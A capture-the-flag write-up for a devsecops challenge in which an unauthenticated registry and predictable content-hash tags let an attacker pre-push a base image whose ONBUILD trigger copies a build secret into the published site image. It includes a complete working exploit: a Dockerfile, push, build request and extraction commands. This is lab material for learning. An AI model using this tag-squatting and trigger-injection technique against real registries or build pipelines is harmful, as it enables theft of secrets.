The Builder

The page tag is `sha256(content)[:12]`, so it is predictable, and the registry accepts anonymous pushes → smuggle in `ONBUILD COPY --from=theme /flag.txt`

2026.09.30 NNS CTF 2026 99 pts devsecops
FLAG NNS{wH0_th0U6h7_that_7His_tRigger_W45_4_6o0D_1dea??_wel1_aNYW4ys_y0u_diD_i7}

FLAG: NNS{wH0_th0U6h7_that_7His_tRigger_W45_4_6o0D_1dea??_wel1_aNYW4ys_y0u_diD_i7} (76 bytes, no trailing newline; read straight out of the image layer so the leet chars are exact - wel1 is l+one, 1dea is a digit one)

The bug: ONBUILD trigger smuggled in via the page build-context image

The fixed server-side Dockerfile bakes the secret into the theme stage’s layer:

FROM debian:trixie-slim AS theme
RUN --mount=type=secret,id=flag \
    cp /run/secrets/flag /flag.txt \
 && printf '%s' 'body{...}' > /theme.css
FROM page0 AS content0
FROM cgr.dev/chainguard/nginx:latest AS site
COPY --from=theme /theme.css /usr/share/nginx/html/theme.css
COPY --from=content0 /page /usr/share/nginx/html/{location}

page0 is a BuildKit named build context wired to --build-context page0=docker-image://127.0.0.1:5000/pages:<tag>, so our page image is used as a BASE IMAGE (FROM page0 AS content0). Base-image ONBUILD triggers are executed by BuildKit in the child stage, and they resolve --from= against the stages of the CURRENT Dockerfile - where theme (with /flag.txt) is defined just above. So an image whose config carries

ONBUILD COPY --from=theme /flag.txt /page

turns content0’s /page into the flag, and the fixed COPY --from=content0 /page /usr/share/nginx/html/{location} line then copies it into the published sites/<id> image for us to pull.

The two facts that make it exploitable

  1. Page tag is sha256(content)[:12] - fully predictable. Verified: sha256("PAGEV1")[:12] == d3d25aae1a7b, matching the 127.0.0.1:5000/pages:d3d25aae1a7b shown on the build page.
  2. The registry is unauthenticated AND the server skips its own push when the content-addressed tag already exists. So pushing our image to pages:<sha256(content)[:12]> FIRST wins - the server does not overwrite it (verified: tag digest stayed sha256:3864d150... after submitting).

Exploit (reproducible)

# 1. malicious page image
printf 'PLACEHOLDER' > page
cat > Dockerfile <<'D'
FROM scratch
COPY page /page
ONBUILD COPY --from=theme /flag.txt /page
D
TAG=$(python3 -c "import hashlib;print(hashlib.sha256(b'PWN1').hexdigest()[:12])")
REG=the-builder-registry-<id>.chall.nnsc.tf:443
docker build --platform linux/amd64 --provenance=false --sbom=false -t $REG/pages:$TAG .
docker push $REG/pages:$TAG

# 2. submit a build whose content hashes to that same tag
curl -s -X POST https://the-builder-<id>.chall.nnsc.tf/api/builds \
     -d 'location=flag.html' -d 'content=PWN1'

# 3. build log confirms it: "#11 [content0 1/2] ONBUILD COPY --from=theme /flag.txt /page"
docker pull $REG/sites/<build-id>:latest
CID=$(docker create $REG/sites/<build-id>:latest)
docker cp $CID:/usr/share/nginx/html/flag.html - | tar -xO

Notes: build with --provenance=false --sbom=false so you push a plain single-platform manifest (the default buildx output is a manifest list with an attestation manifest, which is not what FROM page0 wants).

Why the earlier three passes missed it

All of them treated location/content as the only inputs and looked for Dockerfile-text injection, registry blob tricks, or a --target override. The actual input is the image config of the page image - reachable only because the tag is predictable and the registry accepts anonymous pushes, which both passes had noted separately but never combined.